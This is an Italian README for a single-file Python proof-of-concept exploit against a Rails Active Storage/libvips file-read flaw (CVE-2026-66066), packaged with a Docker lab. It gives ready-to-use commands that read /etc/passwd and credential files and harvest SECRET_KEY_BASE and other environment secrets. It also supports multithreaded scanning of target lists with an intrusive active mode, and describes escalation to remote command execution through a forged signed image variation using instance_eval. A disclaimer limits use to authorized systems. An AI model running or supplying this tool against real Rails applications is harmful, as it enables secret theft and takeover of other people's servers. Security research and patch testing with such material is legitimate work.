
PoC in un singolo file per Rails CVE-2026-66066: lettura arbitraria di file, recupero dei segreti, scansione multithread e RCE condizionale tramite variazioni di immagini firmate.
Una proof of concept a file singolo, senza dipendenze, e un lab Docker limitato al loopback per la vulnerabilità di lettura arbitraria di file in Rails Active Storage/libvips. Dimostra inoltre l'escalation condizionale descritta nell'advisory, da una secret_key_base recuperata a una variazione d'immagine contraffatta ed esecuzione di comandi.
Riferimenti principali: advisory di Rails, analisi forense di Rails, il rapporto tecnico di Ethiack e la release 8.1.3.1.
https://github.com/user-attachments/assets/fdcb5651-c1d1-4bc4-b322-8f1205b09635
kr2s.py contiene il client completo in un singolo file:
h5py o numpy;Lo strumento non installa pacchetti, non avvia un listener di callback, non richiede curl sul target e non dipende da make. Lo stadio RCE utilizza la route di rappresentazione Active Storage integrata e non richiede un gadget Marshal.
Avvia il lab vulnerabile:
cd lab
RAILS_VERSION=8.1.3 docker compose up --build
La porta di Compose è vincolata a 127.0.0.1 e il container gira come utente non privilegiato, con tutte le capability Linux rimosse.
In un altro terminale:
# Intrusive: uploads a blob, then confirms /etc/hostname is readable.
python3 kr2s.py check http://127.0.0.1:3000
# Recover a fixed-size prefix. Binary output goes to stdout unless -o is used.
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd --size 4096
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd -o passwd.bin
# Recover selected environment secrets. Values are redacted by default.
python3 kr2s.py secrets http://127.0.0.1:3000
# Display complete matched environment values for authorized analysis.
python3 kr2s.py secrets http://127.0.0.1:3000 --show-full
# Passive preflight of one target or a file containing one target per line.
python3 kr2s.py scan http://127.0.0.1:3000
python3 kr2s.py scan targets.txt --threads 10 --json scan.json
# Intrusively confirm file read on every target in the list.
python3 kr2s.py scan targets.txt --active
# Probe selected libvips loaders.
python3 kr2s.py probe http://127.0.0.1:3000
# Conditional escalation. This executes the supplied command.
python3 kr2s.py rce http://127.0.0.1:3000 "id; uname -a"
Esegui python3 kr2s.py COMANDO --help per tutte le opzioni. I controlli comuni per applicazioni reali includono --harvest-url, --show-path, --proxy, --insecure e --skb.
secrets --show-full stampa i valori completi delle variabili d'ambiente corrispondenti. Senza di essa, lo strumento stampa solo i primi 12 caratteri e i puntini di sospensione. I file richiesti con --also-read, compresi i percorsi predefiniti delle credenziali Rails, vengono stampati fino a 600 caratteri quando sono leggibili.
Lo scan passivo riporta solo se la pagina espone una rappresentazione Active Storage raccoglibile; non può identificare il livello di patch Rails installato. scan --active carica un blob malintenzionato e tenta la lettura canary. Un risultato attivo fallito viene etichettato come BLOCKED_OR_INCONCLUSIVE, non SAFE, perché WAF, autenticazione, variazioni non supportate e la correzione di Rails possono apparire identici dall'esterno dell'applicazione.
Ferma il lab con:
cd lab
docker compose down
image/png.matload di libvips; i byte del file target diventano pixel dell'immagine e tornano in un PNG generato.Il file ibrido soddisfa due parser contemporaneamente: il suo testo inizia con MATLAB 5.0, mentre la parola di versione all'offset 124 seleziona il percorso MATLAB 7.3 basato su HDF5. La correzione di Rails blocca le operazioni libvips marcate come non attendibili prima che un file controllato dall'attaccante possa raggiungere matload.
rce prima legge SECRET_KEY_BASE da /proc/self/environ, a meno che non venga fornito --skb. Deriva la chiave del verificatore Active Storage e firma una variazione JSON contenente un'operazione instance_eval. Nel percorso vips interessato, l'operazione raggiunge Vips::Image.public_send. La PoC la invia tramite la route di rappresentazione integrata, esegue il comando fornito con /bin/sh e cattura entrambi i flussi di output.
Questa seconda fase è condizionata al recupero del segreto di firma e al raggiungimento del comportamento vulnerabile della trasformazione vips descritto nell'analisi di Ethiack su CVE-2025-24293. La patch di CVE-2026-66066 chiude il punto di ingresso della lettura file; non è una correzione generale per i segreti di firma precedentemente divulgati. Ruota i segreti dopo una presunta esposizione, come raccomanda l'advisory di Rails.
L'output del comando viene scritto in un file casuale /tmp/.kr2s_*, recuperato attraverso la stessa primitiva di lettura file e poi rimosso con un secondo payload firmato.
Le letture restituiscono la regione a dimensione fissa richiesta. Se la sorgente è più corta, il suo prefisso è seguito da byte zero. Usa --offset per le regioni successive.
La variazione predefinita del lab converte solo in PNG, quindi il recupero è byte-esatto. Le applicazioni reali possono ridimensionare le varianti. La modalità con chiave raccolta usa una colonna di un pixel per evitare il ricampionamento orizzontale, ma una variazione con altezza inferiore può comunque modificare la geometria. In tal caso il client fallisce esplicitamente; riduci --size o raccogli una rappresentazione che non ridimensiona.
Ogni comando è intrusivo: crea blob Active Storage persistenti e può creare varianti elaborate. rce in più esegue il comando fornito.
Lo script della matrice compila ogni release, esegue controlli reali di lettura e RCE sulle versioni vulnerabili, verifica che le letture siano bloccate nelle versioni corrette e restituisce un codice diverso da zero in caso di discrepanza:
./lab/matrix.sh
./lab/matrix.sh 8.1.3
./lab/matrix.sh 8.1.3.1:PATCHED
Validato il 2026-07-31 con Ruby 3.4.10, image_processing 1.14.0, ruby-vips 2.3.0 e libvips 8.16.1:
Le righe relative alle versioni corrette non attivano deliberatamente un payload RCE con un segreto di firma prefornito; la matrice testa il confine di lettura file della CVE.
research/craft.py rigenera payload candidati per la ricerca sui loader e richiede h5py e numpy. Non viene importato dalla PoC di rilascio. lab/probe/probe.sh ispeziona questi candidati con ruby-vips all'interno di un'immagine del lab:
uv run --script research/craft.py all -o /tmp/kr2s-payloads
docker run --rm \
-v "$PWD/lab/probe:/probe:ro" \
-v /tmp/kr2s-payloads:/payloads:ro \
--entrypoint /probe/probe.sh kr2s-rails:8.1.3
Esegui i test unitari senza dipendenze con:
python3 -m unittest discover -s tests -v
Il payload MAT/HDF5 e il client senza dipendenze sono stati sviluppati tramite test locali. Dopo la comparsa di PoC pubbliche, questa release ha incorporato la raccolta della variation key e le route Active Storage integrate documentate dalla PoC di Zer0SumGam3. L'implementazione Python qui presente è originale e basata solo sulla libreria standard.
Una revisione precedente ha dimostrato che la RCE era possibile anche con un payload Marshal firmato usando Puma::MiniSSL::Context e un proxy ActiveSupport, basandosi sulla ricerca pubblica sui gadget di Behrad Taher. Quella route evitava i binari helper sul lato target, ma richiedeva un sink di ID firmati in grado di gestire Marshal, oltre alle classi gadget Puma e ActiveSupport caricate. È stata sostituita dopo che l'Ethiack Research Team ha pubblicato il loro rapporto tecnico KindaRails2Shell, che documenta la tecnica più semplice della variazione JSON firmata. Questa usa una route standard e rimuove tali prerequisiti.
Il merito della scoperta va ad André Baptista (0xacb), Bruno Mendes (s3np41k1r1t0), Rafael Castilho e all'Ethiack Research Team, e a RyotaK (GMO Flatt Security). Abdelmounaim Moulahcene (bl0rph) ha pubblicato indipendentemente la primitiva sottostante poco prima della divulgazione coordinata. Consulta il repository forense di Rails per la cronologia completa e i crediti dei manutentori.
Utilizza solo su sistemi di tua proprietà o per cui hai esplicita autorizzazione ai test. Gli autori non si assumono alcuna responsabilità per un uso improprio. Vedi SECURITY.md per segnalare problemi in questo artefatto di ricerca.
Rilasciato sotto la Licenza MIT.
| Rails | Lettura file | Verifica RCE | Risultato |
|---|
| 7.2.3.1 | READ-OK | RCE-OK | pass |
| 7.2.3.2 | bloccata | non eseguita | pass |
| 8.0.5 | READ-OK | RCE-OK | pass |
| 8.0.5.1 | bloccata | non eseguita | pass |
| 8.1.3 | READ-OK | RCE-OK | pass |
| 8.1.3.1 | bloccata | non eseguita | pass |